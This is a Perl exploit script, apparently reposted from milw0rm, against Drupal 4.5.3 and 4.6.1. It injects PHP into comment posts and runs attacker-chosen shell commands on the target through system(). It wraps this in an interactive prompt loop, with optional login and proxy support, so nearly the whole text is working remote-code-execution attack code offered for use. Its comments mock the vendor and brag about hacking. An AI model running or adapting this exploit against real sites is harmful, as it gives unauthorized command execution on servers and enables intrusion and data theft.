QUOTE

Drupal <= 4.5.3 & <= 4.6.1 Comments PHP Injection Exploit

CODE


#!/usr/bin/perl
# Mon Jul  4 18:19:35 CEST 2005 dab@digitalsec.net
#
# DRUPAL-SA-2005-002 php injection in comments (yes, its lame)
# Hax0r code here, read before execute
#
# Run without arguments to show the help.
#
# BLINK! BLINK! BLINK! BLINK!
#
# Feel free to port to another stupid script language (mIRC,
# python, TCL or orthers), and send to securiteam (AGAIN)
#
# Theo, this one hasn't been tested in BSD.. yet!
# infohacking: there're a lot of xss in drupal, contact me if you want
# to program some exploits.
#
# BLINK! BLINK! BLINK! BLINK!
#
#
# HERE YOU CAN PUT YOUR BANNER!!!! THOUSENDS OF PEOPLE IS READING THIS LINE
# contact me for pricing and offerings.
#
# !dSR: yubiiiiii yeooooooooooo
#
use LWP::UserAgent;
use HTTP::Cookies;
use LWP::Simple;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

$| = 1; #;1 = |$

my ($proxy,$proxy_user,$proxy_pass);
my ($host,$debug,$drupal_user,$drupal_pass);
my $options = GetOptions (
 'host=s'       => \$host,
 'proxy=s'           => \$proxy,
 'proxy_user=s'      => \$proxy_user,
 'proxy_pass=s'      => \$proxy_pass,
 'drupal_user=s'      => \$drupal_user,
 'drupal_pass=s'      => \$drupal_pass,
'debug'           => \$debug);

&help unless ($host);

while (1){
   print "druppy461\$ ";
   my $cmd = <STDIN>;
   &druppy($cmd);
}
exit (1); # could be replaced with exit(2)


sub druppy {
   chomp (my $cmd = shift);
   LWP::Debug::level('+') if $debug;

   my $ua = new LWP::UserAgent(
           cookie_jar=> { file => "$$.cookie" });   # this is a random feature
   $ua->agent("Morzilla/5.0 (THIS IS AN EXPLOIT. IDS, PLZ, Gr4b ME!!!");

   if ($drupal_user) { # no need to exploit
       my ($mhost, $h);
       if ($host =~ /(http:\/\/.*?)\?q=/) {
           $mhost = $1;
           $h = $mhost . "?q=user/login";
       } #some magic hacking here
       else {
           $host =~ /(.*?)\/.*?\//; $mhost =$1;
           $h = $mhost . "/user/login";
       }
       print $h . "\n" if $debug;
       my $req = POST $h,[
           'edit[name]' => "$drupal_user",
           'edit[pass]' => "$drupal_pass"
               ]; #grab these, and send to dsr!
       print $req->as_string() if $debug;
       my $res = $ua->request($req);
       print $res->content() if $debug;
       if ($res->is_redirect eq 1) {
           print "Logged\n" if $debug;
       }
   }

   $ua->proxy(['http'] => $proxy) if $proxy;
   my $req->proxy_authorization_basic($proxy_user, $proxy_pass) if $proxy_user;
   my $res = $ua->get("$host");
   my $html = $res->content();
   my @op; # buffer overflow here
   foreach (split(/\n/,$html)) {
       if ( m/name="op" value="(.*?)"/){
           push(@op,$1);
       }
   }# xss here

   my $ok = 0; # globlal for admin purposes
   foreach my $op (@op) {
       my $req = POST "$host",[
           'edit[subject]' => 'test',
           'edit[comment]' =>
            "<?php print(\"BLAH\\n\");system(\"$cmd\"); print(\"BLAH\\n\");  php?>",
           'edit[format]' => '2',
           'edit[cid]' => "", # drupal is sick.. it doesn't need arguments
           'edit[pid]' => "", # they use it to grab some statistycal information
           'edit[nid]' => "", # about users conduits. Don't buy in internet using drupal
           'op' => "$op"
               ];

       print $req->as_string() if $debug;
       my $res = $ua->request($req);
       my $html = $res->content();
       print $html if $debug;
       foreach (split(/\n/,$html)) {
           return if $ok gt "1";       # super hack de phrack
           if (/BLAH/) { $ok++; next }
           print "$_\n" if $ok eq "1"; # /n is for another line in screen
       }
   }
}


sub help {
   print "Syntax: ./$0 <url> [options]\n";
   print "\t--drupal_user, --drupal_pass  (needed if dont allow anonymous posts)\n";
   print "\t--proxy (http), --proxy_user, --proxy_pass\n";
   print "\t--debug\n";
   print "\nExample\n";
   print "bash# $0 --host=http://www.server.com/?q=comment/reply/1\n";
   print "\n";
   exit(1);
}


#sub 0day_solaris {
# please put your code here
#}





Source: http://www.milw0rm.com/id.php?id=1088